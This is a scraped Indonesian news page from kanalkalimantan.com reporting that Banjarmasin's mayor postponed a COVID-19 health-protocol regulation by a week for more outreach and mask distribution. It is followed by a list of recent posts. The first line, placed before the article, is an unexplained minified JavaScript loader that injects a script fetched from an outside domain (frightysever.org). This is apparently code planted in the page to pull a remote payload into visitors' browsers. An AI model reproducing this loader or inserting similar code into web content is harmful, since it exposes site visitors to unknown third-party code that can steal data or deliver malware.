(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Batal Diberlakukan Besok, Ini Alasan Perwali Protokol Kesehatan di Banjarmasin Ditunda


KANALKALIMANTAN.COM, BANJARMASIN – Penerapan Peraturan Wali Kota (Perwali) Banjarmasin Nomor 60 tahun 2020 ditunda, semula akan diterapkan pada Jumat (21/8/2020) besok, mundur pemberlakuannya ke tanggal 28 Agustus 2020.

Itu artinya, masih ada waktu satu pekan lagi untuk memaksimalkan sosialisasi Perwali protokol kesehatan tersebut kepada masyarakat.

“Ini merupakan usulan dari pak Kapolda (Irjen Pol Dr Nico Afinta) dengan pak Danrem (Brigjen TNI Firmansyah). Sehingga kita evaluasi apakah sudah disosialisasikan kepada masyarakat. Takutnya masyarakat kaget,” kata Wali Kota Ibnu Sina, Kamis (20/8/2020).

Sehingga dengan evaluasi ini, Ibnu menambahkan perlu penambahan waktu yang semula akan diberlakukan pada Jumat besok, menjadi diperpanjang 7 hari masa sosialisasi.

Disamping itu, berbagai upaya juga dilakukan, dengan tujuan agar masyarakat mendapatkan masker. Sehingga, tidak ada alasan bagi masyarakat untuk tidak menggunakan masker.

“Sebelumnya kita minta seluruh SKPD untuk membagi-bagikan masker, yang juga menyosialisasikan kepada masyarakat,” imbuh Ibnu.

Selain itu, alasan ditundanya pelaksanaan Perwali penegakan protokol kesehatan ini, guna memastikan apakah masker sudah dibagikan kepada masyarakat. Termasuk dalam program satu juta masker yang kini tengah dibagikan.

“Masyarakat masih banyak yang belum siap. Ditambah lagi program satu juta masker kita belum terdistribusi semua,” imbuh Ibnu.

Selain itu, disinggung soal revisi Perwali, menurut Ibnu saat ini masih berproses pada Bagian Hukum Setda Kota Banjarmasin. Dengan melakukan revisi sesuai draft pada Instruksi Menteri Dalam Negeri RI.

“Kita diminta untuk menyesuaikan. Saat ini, draftnya ada di Bagian Hukum, guna disesuaikan dengan pedoman dari Instruksi Menteri Dalam Negeri yang merujuk pada Instruksi Presiden,” pungkas Ibnu. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

8 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

9 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

9 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

9 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

9 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

10 jam ago

This website uses cookies.